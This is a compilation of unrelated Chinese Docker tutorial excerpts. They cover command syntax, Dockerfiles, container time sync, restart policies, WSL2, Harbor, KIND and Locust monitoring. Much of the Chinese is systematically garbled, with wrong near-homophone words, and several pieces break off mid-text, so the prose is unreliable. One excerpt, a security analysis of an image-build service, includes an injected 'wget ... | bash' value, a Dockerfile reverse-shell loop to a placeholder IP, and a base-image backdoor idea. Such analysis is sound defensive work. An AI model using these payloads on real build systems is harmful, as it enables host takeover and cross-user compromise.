www5：将解决好的容器保留为一个镜像docker commit php php:7.2(将php容器保留为php:7.2镜像)我这里曾经解决好镜像已上传到我的docker仓库中，后续应用时间接拉取我本人仓库中的镜像即可 三：应用docker-compose基于nginx-mysql-php镜像配置php环境1：具体的docker-compose文件内容可参考：docker-compose配置 2：应用docker-compose命令运行容器docker-compose build --force-rm（构建容器并删除构建过程中创立的长期容器）docker-compose up -d（在后盾运行容器）docker-compose start（启动容器）docker-compose stop（进行正在事后的容器）docker-compose down（删除容器）

docker官网地址：docker官网一：docker search（从Docker Hub查找镜像）语法：docker search [OPTIONS] TERMOPTIONS阐明： --automated :只列出 automated build类型的镜像；--no-trunc :显示残缺的镜像形容；-s :列出珍藏数不小于指定值的镜像。实例：docker search php (从Docker Hub查找php镜像) 二：docker pull （从镜像仓库中拉取或者更新指定镜像）语法： docker pull [OPTIONS] NAME[:TAG|@DIGEST]OPTIONS阐明 -a :拉取所有 tagged 镜像--disable-content-trust :疏忽镜像的校验,默认开启实例： docker pull php:7.2-fpm（下载php标签版本为7.2-fpm镜像）三：docker images（查看本地镜像列表）语法： docker images [OPTIONS] [REPOSITORY[:TAG]]OPTIONS阐明： -a :列出本地所有的镜像（含两头映像层，默认状况下，过滤掉两头映像层）；--digests :显示镜像的摘要信息；-f :显示满足条件的镜像；--format :指定返回值的模板文件；--no-trunc :显示残缺的镜像信息；-q :只显示镜像ID。实例：docker images(查看本地所有镜像) 四：docker rmi（删除本地一个或多少镜像）语法：docker rmi [OPTIONS] IMAGE [IMAGE...]OPTIONS阐明： -f :强制删除；--no-prune :不移除该镜像的过程镜像，默认移除；实例： docker rmi -f php:7.2-fpm(删除本地php:7.2-fpm镜像)五：docker run（创立一个新的容器并运行一个命令）语法： docker run [OPTIONS] IMAGE [COMMAND] [ARG...]OPTIONS阐明： -a stdin: 指定规范输入输出内容类型，可选 STDIN/STDOUT/STDERR 三项；-d: 后盾运行容器，并返回容器ID；-i: 以交互模式运行容器，通常与 -t 同时应用；-p: 端口映射，格局为：主机(宿主)端口:容器端口-t: 为容器重新分配一个伪输出终端，通常与 -i 同时应用；--name="nginx-lb": 为容器指定一个名称；--dns 8.8.8.8: 指定容器应用的DNS服务器，默认和宿主统一；--dns-search example.com: 指定容器DNS搜寻域名，默认和宿主统一；-h "mars": 指定容器的hostname；-e username="ritchie": 设置环境变量；--env-file=[]: 从指定文件读入环境变量；--cpuset="0-2" or --cpuset="0,1,2": 绑定容器到指定CPU运行；-m :设置容器应用内存最大值；--net="bridge": 指定容器的网络连接类型，反对 bridge/host/none/container: 四种类型；--link=[]: 增加链接到另一个容器；--expose=[]: 凋谢一个端口或一组端口；实例： ...

原文由底层贫苦人员发表于TesterHome社区，点击原文链接可与作者间接交换。背景目前在公司保护的测试工具平台，有时候前端须要更新，改完前端 Vue 我的项目之后，还得在执行 npm run build 打包整个我的项目，再把打包好的整个我的项目拷贝过来后端我的项目中，这一步骤十分繁琐且不合乎前后端拆散的思维；为此思考应用 Nginx 部署前端我的项目，前期能够配合 rancher 进行 CICD。 Dockerfile 详解# 构建镜像基于onbuild_vue:v1镜像FROM harbor.bluemoon.com.cn/lw/onbuild_vue:v1 AS builder#切换到/app工作目录下WORKDIR /app# 复制package.json到app目录下COPY package.json ./# 执行npm命令RUN npm config set registry https://registry.npm.taobao.org/ && \ npm install# 复制当前目录下的所有文件到app目录下COPY . ./# 执行npm run build命令RUN npm run build:prod# 构建镜像基于nginx:alpine镜像FROM nginx:alpine# 申明端口80。仅申明作用，如果docker run -P 就会指定该端口EXPOSE 80# 从名为builder的阶段，复制打包好的文件到/usr/share/nginx/html/COPY --from=builder /app/dist /usr/share/nginx/html/# 删除本来的默认配置RUN rm /etc/nginx/conf.d/default.conf# 从名为builder的阶段，复制nginx配置文件到/etc/nginx/conf.d/COPY --from=builder /app/nginx.conf /etc/nginx/conf.d/坑 1--npm run build 打包失败 呈现报错：ERROR ValidationError:Invalid confiquration obiect. Obiect has been initialized using a confiquration obiect that does not match the API schema. ...

Docker 有个很不敌对的设定，就是没有默认将容器和宿主机进行工夫同步。 别离来查看一下宿主机和容器的工夫，通常容器的工夫比宿主机要慢 8 小时： [root@k8s-master conf]# date2022年 03月 31日 星期四 17:08:00 CST[root@k8s-master conf]# docker exec -it 06dd47f16a43 bash -c "date"Thu Mar 31 08:58:58 UTC 2022所以须要手动设置二者的工夫同步。 总共有三种状况须要设置工夫同步，别离是： 正在运行的容器自定义容器镜像应用第三方镜像接下来看看这三种状况的解决形式。 1、对于曾经运行中的容器的解决形式：将宿主机的 /etc/localtime 文件复制给容器。 [root@k8s-master conf]# docker exec -it 06dd47f16a43 bash -c "ls -l /usr/share/zoneinfo/Asia/Shanghai"-rw-r--r--. 1 root root 582 Jan 26 2021 /usr/share/zoneinfo/Asia/Shanghai再来查看二者的工夫，曾经同步了： [root@k8s-master conf]# docker exec -it 06dd47f16a43 bash -c "date"Thu Mar 31 17:11:17 CST 2022[root@k8s-master conf]#[root@k8s-master conf]# date2022年 03月 31日 星期四 17:11:18 CST2、如果是自定义的镜像，倡议在 dockerfile 中就提前解决好。以 CentOS 为例，增加如下配置： ...

docker应用遇到的问题 1. Hyper-V虚拟机与visualbox等不兼容二者不能同时应用 bcdedit / set hypervisorlaunchtype off # 敞开Hyper-Vbcdedit / set hypervisorlaunchtype auto # 开启Hyper-V2. OS问题docker举荐应用Alpine Linux轻量服务器其装置命令为apk

1. Docker 容器的重启策略目标为了保障容器运行时健壮性（自愈），Docker 提供了容器重启策略，即应用参数 --restart，它能够让容器在退出时主动尝试重启。 场景Docker 容器的重启策略个别用于生产环境，开发环境和试验环境能够疏忽。例如应用 Docker 运行 Nginx。Nginx 作为目前罕用的 web 服务器，咱们必定更心愿看到它在因停电、主机重启等意外事件中尝试主动复原。 原理Docker 容器的主动重启是由 Docker 守护过程实现的。在较老版本 Docker 中，如果 docker 守护过程重启，容器会全副挂掉。新版本 Docker 中，容许设置，当 docker 守护过程重启，容器不受影响。该场景比拟多见，例如批改了 docker 的配置而须要从新加载 docker 守护过程，如果 docker 容器重启，业务会短暂中断，尤其是在生产环境这是不可承受的。所以这个设置很有必要。具体设置办法有两种：第一种，编辑 /etc/docker/daemon.json，增加 "live-restore": true ： { "live-restore": true,}第二种，命令启用 dockerd --live-restore systemdDocker 容器的重启策略具体如下： no默认策略，在容器退出时不重启容器。启动容器时不增加参数 --restart 即可。on-failure在容器非正常退出时（退出状态非0），才会重启容器。on-failure:n在容器非正常退出时重启容器，并且指定重启次数。n 为正整数。如果不指定次数，则会始终重启。always只有容器退出就重启容器。unless-stopped在容器退出时总是重启容器，然而 Docker 守护过程启动之前就曾经进行运行的容器不算在内。2. Docker 容器的退出状态码Docker 容器也有退出状态码，这一点相似 Linux 命令。Docker 容器的重启策略就是基于状态码。具体如下： 0示意容器失常退出。例如 stop 容器。非 0示意容器退出异样（退出状态码采纳 chroot 规范）。例如执行 docker run 失败后的容器退出。125Docker 守护过程自身有谬误。126容器启动后，要执行的默认命令无奈调用。127容器启动后，要执行的默认命令不存在。其余命令状态码容器启动后在容器外部执行命令，该命令退出时的返回状态码，就作为容器的退出状态码。3. 获取 Docker 容器退出状态码的办法3.1 应用命令 docker ps -a该命令后果的第 5 列中 Exited 前面括号中的数字就是容器的退出状态码。如下所示，Exited (1) 33 minutes ago，1 就是这个容器的退出状态码。然而 1 并不是容器自身的退出状态码，而是容器中运行的命令执行失败后退出的状态码。在 Linux 零碎定义的命令退出状态码中，1 示意未知，即零碎不晓得具体谬误的起因。这时候就须要看具体的日志来判断。 ...

背景业务提供一个性能：依据用户的代码仓库编译镜像，并且治理镜像。 编译镜像时的业务实现相似上面这样，其中image_name_tag、dockerfile_file、dockerfile_path变量都是从内部web入口传入的。 docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path} 如果你是这个业务的研发或者平安测试人员，你感觉这里会产生哪些安全漏洞？ 我的剖析命令执行 我想大家第一个都会想到"命令执行破绽"：image_name_tag变量如果用户传入wget -c http://xxx/x.sh | bash -c就能执行近程服务器上的脚本，拿到宿主机服务器权限。 如果研发大哥对传入的变量做了黑名单呢(比方判断是否蕴含$、`)，还有其余安全漏洞吗？ Dockerfile中反弹shell-f ${dockerfile_file}这里Dockerfile的内容是用户可控的，所以也很容易想到：咱们能够在Dockerfile中写任意命令，获取到"反弹shell"。 FROM ubuntu MAINTAINER Victor Coisne victor.coisne@dotcloud.com RUN echo "while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done" >> /tmp/1.sh # x.x.x.x/xxxx是ip和端口 RUN bash /tmp/1.sh 在"反弹shell"中咱们能够尝试去拜访"dockerd服务"所在的宿主机网络，或者宿主机能拜访到的网络，而后能够去测试网络中的软弱服务。 如果研发大哥在这里用iptables对容器和宿主机网络做了隔离，还有其余安全漏洞吗？ 用户数据透露Dockerfile中的第一行FROM如果我填写其余用户编译好的镜像名称，是不是有可能读到其余用户镜像呢？ 尽管"镜像名称"难猜中，然而这个危险的确是存在的。 如果研发大哥在构建镜像并推送到镜像仓库后，而后用docker rmi清空本地的镜像缓存，就不存在这种危险了，那还有其余安全漏洞吗？ 给所有镜像种个后门image_name_tag是编译后的镜像名，Dockerfile中的第一行FROM指令又须要一个根底镜像，那么是否存在如下可能：A用户应用的根底镜像是B用户build生成。如果存在这个可能，那一个歹意用户build生成带后门的nginx、ubuntu等根底镜像，就能够导致其余用户的生成镜像时都带上后门。 测试后，发现"dockerd服务"默认会应用本地镜像，所以会呈现下面的问题。 --pull=true|falseAlways attempt to pull a newer version of the image. The default is false. 如果研发大哥应用了docker build --pull=true每次拉取最新镜像，还有其余安全漏洞吗？ ...

下载Centos7精简版举荐已验证版本：http://mirrors.163.com/centos...建设虚拟机大部分人都应用的是windows 10 企业版，外部已装置Hypervisor虚拟机能够间接应用， 开明办法见：https://jingyan.baidu.com/art...windows键，搜寻Hyper-V管理器抉择新建虚拟机抉择虚拟机名称和门路抉择第一代虚拟机抉择启动内存，间接影响启动docker容器的性能和数量，倡议2G+抉择网络适配器为默认抉择虚构硬盘，倡议50G抉择装置操作系统形式，应用从DVD装置，并抉择映像文件iso的门路实现虚拟机装置操作系统Hyper-V抉择连贯虚拟机，按Centos指引装置，千万记住root明码设置虚拟机上网（重要步骤） 关上 控制面板\网络和 Internet\网络连接 右键WLAN，抉择属性，抉择共享，勾选“容许其余用户应用本网络拜访internet”， 抉择虚拟机默认网络适配器 （vEthernet Default switch）登录虚拟机倡议应用putty或者第三方近程登录工具，Hyper-V内置连贯工具极其难用第三方工具只需获取虚拟机IP ，用root 登录即可如果必要设置国内yum源，教训证公司网络应用官网源最快装置docker，docker-composeyum install dockersudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

通过深刻理解容器运行时，了解容器环境是如何建设的。 在学习 容器镜像 时，咱们探讨了容器的基本原理，但当初是深入研究容器运行时runtime的时候了，从而理解容器环境是如何构建的。本文的局部信息摘自 凋谢容器打算Open Container Initiative（OCI）的 官网文档，所以无论应用何种容器引擎，这些信息都是统一的。 容器运行机制那么，当你运行 podman run 或 docker run 命令时，在后盾到底产生了什么？一个分步的概述如下： 如果本地没有镜像，则从镜像注销仓库registry拉取镜像镜像被提取到一个写时复制（COW）的文件系统上，所有的容器层互相重叠以造成一个合并的文件系统为容器筹备一个挂载点从容器镜像中设置元数据，包含诸如笼罩 CMD、来自用户输出的 ENTRYPOINT、设置 SECCOMP 规定等设置，以确保容器按预期运行揭示内核为该容器调配某种隔离，如过程、网络和文件系统（命名空间namespace）揭示内核为改容器调配一些资源限度，如 CPU 或内存限度（控制组cgroup）传递一个零碎调用syscall给内核用于启动容器设置 SELinux/AppArmor容器运行时负责上述所有的工作。当咱们提及容器运行时，想到的可能是 runc、lxc、containerd、rkt、cri-o 等等。嗯，你没有错。这些都是容器引擎和容器运行时，每一种都是为不同的状况建设的。 容器运行时Container runtime更侧重于运行容器，为容器设置命名空间和控制组（cgroup），也被称为底层容器运行时。高层的容器运行时或容器引擎专一于格局、解包、治理和镜像共享。它们还为开发者提供 API。 凋谢容器打算（OCI）凋谢容器打算Open Container Initiative（OCI）是一个 Linux 基金会的我的项目。其目标是设计某些凋谢规范或围绕如何与容器运行时和容器镜像格局工作的构造。它是由 Docker、rkt、CoreOS 和其余行业领导者于 2015 年 6 月建设的。 它通过两个标准来实现如下工作： 1、镜像标准该标准的指标是创立可互操作的工具，用于构建、传输和筹备运行的容器镜像。 该标准的高层组件包含： 镜像清单 — 一个形容形成容器镜像的元素的文件镜像索引 — 镜像清单的正文索引镜像布局 — 一个镜像内容的文件系统布局文件系统布局 — 一个形容容器文件系统的变更集镜像配置 — 确定镜像层程序和配置的文件，以便转换成 运行时捆包转换 — 解释应该如何进行转换的文件描述符 — 一个形容被援用内容的类型、元数据和内容地址的参考资料2、运行时标准该标准用于定义容器的配置、执行环境和生命周期。config.json 文件为所有反对的平台提供了容器配置，并具体定义了用于创立容器的字段。在具体定义执行环境时也形容了为容器的生命周期定义的通用操作，以确保在容器内运行的利用在不同的运行时环境之间有一个统一的环境。 Linux 容器标准应用了各种内核个性，包含命名空间namespace、控制组cgroup、权能capability、LSM 和文件系统隔离jail等来实现该标准。 小结容器运行时是通过 OCI 标准治理的，以提供一致性和互操作性。许多人在应用容器时不须要理解它们是如何工作的，但当你须要排除故障或优化时，理解容器是一个贵重的劣势。欢送通过3A网络（http://iis3.com/）选购云服务器

装置 WSL1. 开启WSL必须启用“实用于 Linux 的 Windows 子系统”可选性能并重启，而后能力在 Windows 上运行 Linux 发行版。 以管理员运行Powershell（开启WSL，如已开启可跳过）Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-LinuxEnable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform --启用“虚拟机平台”可选组件 2. 装置WSL Linux发行版本 比拟 WSL 1 和 WSL 2WSL 1 和 WSL 2 之间的次要区别在于，在托管 VM 内应用理论的 Linux 内核、反对残缺的零碎调用兼容性以及跨 Linux 和 Windows 操作系统的性能。 WSL2相比WSL1来说能够完满反对Docker。与WSL1的模仿Linux API不同的是，WSL2采纳在Hyper-V虚拟机中运行的计划。能够说WSL2和原汁原味的Linux曾经非常靠近 WSL1 没有 Linux 内核，不反对 docker；WSL2 是有 Linux 内核的轻量化虚拟机，反对 docker。目前 docker 曾经针对 WSL2 做了适配，装置时检测到 WSL2 就会启用 WSL2 后端，不仅能同时在 Windows 和 WSL 下操作 docker 服务器，还比以前的 docker on Windows 启动更快、占用资源更少。 ...

1.docker-compose运行失败通过vagrant+virtualbox搭建了环境，而后通过docker-compose运行我的项目的时候，呈现: $ docker-compose up -d失去后果: Traceback (most recent call last): File "urllib3/connectionpool.py", line 677, in urlopen File "urllib3/connectionpool.py", line 392, in _make_request File "http/client.py", line 1277, in request File "http/client.py", line 1323, in _send_request File "http/client.py", line 1272, in endheaders File "http/client.py", line 1032, in _send_output File "http/client.py", line 972, in send File "docker/transport/unixconn.py", line 43, in connectPermissionError: [Errno 13] Permission deniedDuring handling of the above exception, another exception occurred:Traceback (most recent call last): File "requests/adapters.py", line 449, in send File "urllib3/connectionpool.py", line 727, in urlopen File "urllib3/util/retry.py", line 410, in increment File "urllib3/packages/six.py", line 734, in reraise File "urllib3/connectionpool.py", line 677, in urlopen File "urllib3/connectionpool.py", line 392, in _make_request File "http/client.py", line 1277, in request File "http/client.py", line 1323, in _send_request File "http/client.py", line 1272, in endheaders File "http/client.py", line 1032, in _send_output File "http/client.py", line 972, in send File "docker/transport/unixconn.py", line 43, in connecturllib3.exceptions.ProtocolError: ('Connection aborted.', PermissionError(13, 'Permission denied'))During handling of the above exception, another exception occurred:Traceback (most recent call last): File "docker/api/client.py", line 214, in _retrieve_server_version File "docker/api/daemon.py", line 181, in version File "docker/utils/decorators.py", line 46, in inner File "docker/api/client.py", line 237, in _get File "requests/sessions.py", line 543, in get File "requests/sessions.py", line 530, in request File "requests/sessions.py", line 643, in send File "requests/adapters.py", line 498, in sendrequests.exceptions.ConnectionError: ('Connection aborted.', PermissionError(13, 'Permission denied'))During handling of the above exception, another exception occurred:Traceback (most recent call last): File "docker-compose", line 3, in <module> File "compose/cli/main.py", line 81, in main File "compose/cli/main.py", line 200, in perform_command File "compose/cli/command.py", line 70, in project_from_options File "compose/cli/command.py", line 153, in get_project File "compose/cli/docker_client.py", line 43, in get_client File "compose/cli/docker_client.py", line 170, in docker_client File "docker/api/client.py", line 197, in __init__ File "docker/api/client.py", line 222, in _retrieve_server_versiondocker.errors.DockerException: Error while fetching server API version: ('Connection aborted.', PermissionError(13, 'Permission denied'))[22852] Failed to execute script docker-compose而后网上找了帖子追踪:https://github.com/prisma/pri... ...

近日 Docker Desktop for Mac 公布了全新的 4.6 版本，退出了许多新的更新。其中最值得引人注目的是引入了一项名为 virtiofs 的试验性功能，该性能明显提高macOS 用户的文件共享性能，还改良了 macOS 主机和 Docker 虚拟机间文件同步的形式。 依据官网介绍，这些改良使得文件操作工夫大幅缩小达 98%。 该性能之所以会带来微小的性能晋升是因为开发人员在应用 Symfony 或 React 等技术时，须要编辑位于 macOS 主机上的源代码，同时在 Docker 容器中运行应用程序自身。应用 Docker volumes 在主机和容器之间共享源代码，对位于主机零碎上的文件所做的更改必须疾速牢靠地同步到容器文件系统，以便开发人员优化生产力并取得良好的用户体验。当思考到古代的依赖关系治理能够很容易地将 10k–100k 的文件引入我的项目(这线性地减少了性能损失)时，这可能会导致性能降落，因为主机和容器通过卷放弃同步，而 virtiofs 的应用，缓解了这个问题。 开发人员在应用 Docker Desktop 4.6 晚期预览版时察看到：284 MB 的 MySQL 导入工夫从 3 分 16 秒缩短到了 18 秒；而大型程序代码库执行 composer install的工夫，从 1 分钟 27 秒缩短 87%，仅剩 11 秒；还有启动单体 Typescript 应用程序的工夫缩短 80%，从 1 分 30 秒缩短至 18 秒。 如何启用 virtiofs留神：virtiofs 仅实用于应用以下 macOS 版本的用户 ...

本篇文章将介绍如何应用 Docker 疾速搭建一个实用于 HomeLab 和开发阶段应用的邮件网关，用来疾速聚合各种软件的告诉音讯。当然，你也能够用它来疾速验证各种软件中的邮件配置是否正确。 如果你相熟 Docker 的话，大略十分钟，你将会领有一套齐全属于本人的邮件告诉聚合服务，而这个服务，只须要 20MB 左右的内存耗费，十分轻量。 写在后面最近在整顿家里的部署的软件和服务，这些服务少数都领有“邮件告诉”的能力，并会在必要的时候，应用“发送邮件”的形式告诉用户一些必要的信息，比方：工作执行结束、敏感操作、依据打算工作跑完的数据统计摘要等。 以往部署这些软件的时候，在邮件告诉性能配置上，咱们的抉择无非是三种：注册一个实在的邮箱，应用咱们本人曾经在用的邮箱账号，敞开邮件告诉性能。 当软件比拟少的时候，不管抉择哪种计划，都是能够的，因为咱们的一次性操作和保护老本都比拟低。 但当咱们部署了越来越多的软件和服务之后，敞开邮件告诉属于“鸵鸟行为”，是不举荐的；在不能100%确定软件可靠性的前提下，所有软件共享一个邮箱账号，显然是不平安的；最牢靠的计划，便是为为每一个软件配置不同的邮箱账号。 而如果为每一个软件都配置独立的邮箱账号，保护邮箱账号的工夫老本，将会变得不可漠视，因为你永远不晓得什么时候、哪一个邮箱账号会有问题，以及在什么时候你会漏掉重要的利用音讯。 所以，我开始寻找一个实用于集体或者小团队的、私有化部署的邮件网关计划，升高账号的保护老本和经济老本，以及尽可能减少不必要的公网数据交换。 软件选型为了解决下面的问题，个别能够抉择两类软件计划：邮局类软件、邮件测试网关。 咱们先来聊聊邮局类利用。 邮局类软件应用邮局类软件，顾名思义，和咱们日常应用的 GMail、Outlook、QQ 邮箱、163 邮箱等等。在 GitHub 上，咱们也能够找到不少优良的邮局软件应用，比方上面这些： （11.4k Stars）https://github.com/postalserver/postal（10.9k Stars）https://github.com/mail-in-a-box/mailinabox 能够比较简单的和 NextCloud Mail 一起应用（625 Stars）https://github.com/nextcloud/mail（8.7k Stars） https://github.com/docker-mailserver/docker-mailserver（4.9k Stars）https://github.com/mailcow/mailcow-dockerized（3.5k Stars）https://github.com/Mailu/Mailu（2.1k Stars）https://github.com/modoboa/modoboa下面的开源计划都能够作为咱们日常应用的云服务、出名邮件厂商的代替计划应用。 然而通常状况下，这类软件会蕴含十分多的组件和能力，比方：Web 界面、多账户反对、多种邮局聚合、各种邮件协定反对、邮件推送、垃圾邮件审查、邮件防火墙、各种简单的邮件相干的 DNS 反对等等。 随着软件性能的丰盛欠缺，软件运行过程中的资源耗费和应用中的性能复杂度天然也就下来了，加上这几个头部的我的项目，技术选型多是 Ruby、Python，资源应用天然更是“雪上加霜”。 思考到我不须要多用户反对，并且我心愿我的利用始终是轻量牢靠的。所以，我将眼光转向了：测试网关类利用。 邮件测试网关类利用坦白说，可能合乎我前文中提到的大部分需要，并具备比拟低的资源占用的我的项目并不多。如果再限度可能疾速进行性能验证（跑起来看成果）的我的项目，那就更比比皆是啦： （5.6k Stars）https://github.com/sj26/mailcatcher（3.2k Stars）https://github.com/maildev/maildev在简略应用之后，我抉择了以第二个我的项目，将它作为代码基进行二次开发。毕竟基于在以往我的项目中的教训，相比拟 Ruby 的性能和效率，我对 Node 更有信念。 如果你等不及验证成果，能够跳过上面的大节，间接阅读文章的 “应用 Docker 进行疾速体验”局部。 基于 MailDev 进行二次开发从我的项目以后呈现的问题和社区里的反馈里，咱们能够看到几个比拟显著的问题： 软件文档和官网镜像仿佛“对不上号”，一些代码中的依赖配置项也是有问题的，会导致软件无奈失常应用。 issue #376、issue list作者官宣弃坑，后来者做了 fork 版本，但仅仅是解决了一些根底问题。issue #335软件依赖和运行时都过于古老，依赖的 lib 的版本不足无效治理，NPM 子依赖中不少依赖都曾经被废除或者存在安全隐患。应用更牢靠的 Markdown 和 HTML 互相转化计划，对内容进行平安的标签过滤。所以，我花了一些工夫，针对原来的代码做了一些调整： ...

保护 docker harbor 仓库的命令 docker-compose，有个奇（很）怪（low）的默认设定，就是必须在 docker-compose.yml（或者 docker-compose.yml、docker-compose.yaml、compose.yml、compose.yaml 四个文件中任意一个文件）所在的目录中执行才无效。 在任意门路下执行 docker-compose 命令，失去的后果可能是： [root@k8s-master ~]# docker-compose psERROR: Can't find a suitable configuration file in this directory or any parent. Are you in the right directory? Supported filenames: docker-compose.yml, docker-compose.yaml, compose.yml, compose.yaml如果 docker-compose.yml 的地位是： /data/soft/harbor/docker-compose.yml此时，进入这个 yml 文件所在的目录，而后再执行 docker-compose 命令就会失常： [root@k8s-master ~]# cd /data/soft/harbor[root@k8s-master harbor]# docker-compose ps Name Command State Ports ------------------------------------------------------------------------------------------------------harbor-core /harbor/harbor_core Up (health: starting) harbor-db /docker-entrypoint.sh Exit 255 harbor-jobservice /harbor/harbor_jobservice ... Exit 255 harbor-log /bin/sh -c /usr/local/bin/ ... Up (healthy) 127.0.0.1:1514->10514/tcpharbor-portal nginx -g daemon off; Exit 255 nginx nginx -g daemon off; Restarting redis redis-server /etc/redis.conf Exit 255 registry /home/harbor/entrypoint.sh Up (healthy) 5000/tcp registryctl /home/harbor/start.sh Exit 255对于这个默认的设定，目前没找到一个明确的阐明或相干材料。猜想可能是两方面的起因，一是这个货色很容易优化，二是 docker harbor 应用人的不多，官网没有能源去优化它。 ...

「K8S 生态周报」内容次要蕴含我所接触到的 K8S 生态相干的每周值得举荐的一些信息。欢送订阅知乎专栏「k8s生态」。KIND v0.12.0 公布KIND（Kubernetes In Docker）是我很喜爱，也是始终在参加的一个开源我的项目。在我之前的文章中有过屡次介绍，能够参考[]()我基本上每天都会用到它，十分的不便。 间隔上个大版本，v0.11 曾经过了近十个月，咱们来看看这个新版本带来哪些值得关注的个性吧： 目前 v0.12.0 默认应用的 Kubernetes 版本为 v1.23.4 版本。如果降级 KIND 的话，会从新拉取最新的镜像，镜像托管在 Docker Hub 上，可能会比拟耗时，倡议确保网络顺畅。 在 v0.12.0 中专门优化了对多架构的反对，默认的所有已公布镜像都蕴含了 amd64 和 arm64 的反对。在镜像中也对相干组件都做了降级： containerd v1.5.10crictl 1.23.0CNI plugin v1.1.0此外，也修复了 Docker + cgroup2 + rootless 环境下的反对，和 WSL2 环境下的反对。倡议大家进行降级。 更多详细信息请参考其 ReleaseNote Docker v20.10.13 公布本周 Docker 公布了 v20.10.13 版本，是的，你没有看错，当初公布的版本还是在给 v20.10 打 patch 。实际上以后 Docker 仓库中最新的代码比 v20.10 曾经多了很多性能个性，只不过尚未达到公布一个全新的大版本的指标，所以始终没有公布新的大版本。 这个版本中次要是进行了一些 bugfix 和打包相干的变更。其中包含： 将 buildx 降级到了 v0.8.0 版本。#43165 修复了当应用 local 日志驱动时，如果迅速产生大量日志，可能会产生 OOM 的问题。 如果有在应用 local 日志驱动的小伙伴，倡议进行降级 。#43147 修复了 fluentd 日志驱动配合 fluentd-async-connect=true 应用，并且远端服务不可用时，可能会导致 docker daemon 产生 crash 。#43333 当 pull image 的时候，如果在 image-manifests 时遇到网络连接失败，则进行重试。所以，如果有应用 local 或 fluentd 等日志驱动的小伙伴，请尽量进行 Docker 的降级。其余场景可自行判断。 ...

应用 kompose 本义 下载安装 kompose：地址 有各种各样的版本供你抉择，总有一款适宜你 留神：新版本的 kompose 砍掉了 up 和 down 两个子命令，以前很多对于 kompose 把 docker-compose 我的项目间接迁徙到 k8s 平台的教程都没有方法应用了 具体情况参考：如何解决 unknown command "up" for "kompose" 输出 kompose convert 应用 kubectl apply -f authentication-service-deployment.yaml,http-api-service-deployment.yaml,add-service-deployment.yamlkubectl apply -f add-service-service.yaml,authentication-service-service.yaml,http-api-service-service.yamlkubectl get pods -Aminikube image load ponponon/test-nameko-for-rabbitmq:1.0.1minikube sshdocker@minikube:~$ docker image lsREPOSITORY TAG IMAGE ID CREATED SIZEponponon/test-nameko-for-rabbitmq 1.0.1 eb717d2bfbaa 17 hours ago 1.1GBnginx latest c919045c4c2b 11 days ago 142MBregistry.cn-hangzhou.aliyuncs.com/google_containers/kube-apiserver v1.23.1 b6d7abedde39 2 months ago 135MBregistry.cn-hangzhou.aliyuncs.com/google_containers/kube-proxy v1.23.1 b46c42588d51 2 months ago 112MBregistry.cn-hangzhou.aliyuncs.com/google_containers/kube-scheduler v1.23.1 71d575efe628 2 months ago 53.5MBregistry.cn-hangzhou.aliyuncs.com/google_containers/kube-controller-manager v1.23.1 f51846a4fd28 2 months ago 125MBregistry.cn-hangzhou.aliyuncs.com/google_containers/etcd 3.5.1-0 25f8c7f3da61 4 months ago 293MBregistry.cn-hangzhou.aliyuncs.com/google_containers/coredns v1.8.6 a4ca41631cc7 5 months ago 46.8MBregistry.cn-hangzhou.aliyuncs.com/google_containers/coredns/coredns v1.8.6 a4ca41631cc7 5 months ago 46.8MBregistry.cn-hangzhou.aliyuncs.com/google_containers/pause 3.6 6270bb605e12 6 months ago 683kBregistry.cn-hangzhou.aliyuncs.com/google_containers/kubernetesui/dashboard v2.3.1 e1482a24335a 8 months ago 220MBregistry.cn-hangzhou.aliyuncs.com/google_containers/dashboard <none> e1482a24335a 8 months ago 220MBregistry.cn-hangzhou.aliyuncs.com/google_containers/kubernetesui/metrics-scraper v1.0.7 7801cfc6d5c0 9 months ago 34.4MBregistry.cn-hangzhou.aliyuncs.com/google_containers/metrics-scraper <none> 7801cfc6d5c0 9 months ago 34.4MBregistry.cn-hangzhou.aliyuncs.com/google_containers/k8s-minikube/storage-provisioner v5 6e38f40d628d 11 months ago 31.5MBregistry.cn-hangzhou.aliyuncs.com/google_containers/storage-provisioner v5 6e38f40d628d 11 months ago 31.5MB

原文由sunapple发表于TesterHome社区网站，点击原文链接能够与作者间接交换背景当咱们应用 Locust 做性能压测的时候，压测的过程和展现如下：其中稳定图是非长久化存储的，也就是刷新后，稳定图就清空了。只管 Statistics 中显示的信息比拟残缺，然而都是瞬时值，并不能体现出时序上的变动。像 Failures、Exceptions、Slaves 分在不同的 tag 查看起来也比拟麻烦。Locust 的测试报告也只有简略的 csv 文件，须要下载。 从下面咱们能够看到 Locust 尽管提供了跨平台的 web 模式的性能监控和展现，然而有以下显著缺点： rps、均匀响应工夫稳定图没有长久化存储，刷新后便失落整体统计信息只是表格的模式，不能体现稳定时序测试报告过于简陋且只有文字版，只能下载存档计划计划其实很多，但为了缩小投入老本和最大化利用现用的开源工具，抉择以下计划：Locust1.x + Prometheus + Grafana（实现一个Locust的prometheus的exporter，将数据导入prometheus，而后应用grafana进行数据展现。）不难发现 Jmeter 在网上有许多相似计划的介绍，但很遗憾的是我没有找到很好实现 Locust 监控平台的计划 搜寻了一圈后发现 boomer 我的项目下有一个年久失修的 exporter 实现——prometheus_exporter.py, 而且作者并没有提供 grafana 之类的 Dashboard 设置，因而决定基于他的根底上，持续实现整个流程，我将在上面讲述。 环境介绍我是间接在windows上搭建的也能够用Docker环境相干软件下载： locust 下载1.6.0版本的boomer下载1.6.0版本的grafana-7.3.6.windows-amd64prometheus-2.24.0-rc.0.windows-amd64编写 exporter如 Locust 的官网文档所介绍的 Extending Locust 咱们能够扩大 web 端的接口，比方增加一个 /export/prometheus 接口，这样 Prometheus 依据配置定时来拉取 Metric 信息就能够为 Grafana 所用了。这里须要应用 Prometheus 官网提供的 client 库，prometheus_client，来生成合乎 Prometheus 标准的 metrics 信息。 在 boomer 原文件的根底上我做了一些批改和优化，在 Readme 中增加了 Exporter 的阐明，并提交 Pull Request。因为篇幅起因这里不展现代码了，残缺代码（基于 Locust 1.x 版本）能够查看这里prometheus_exporter ...

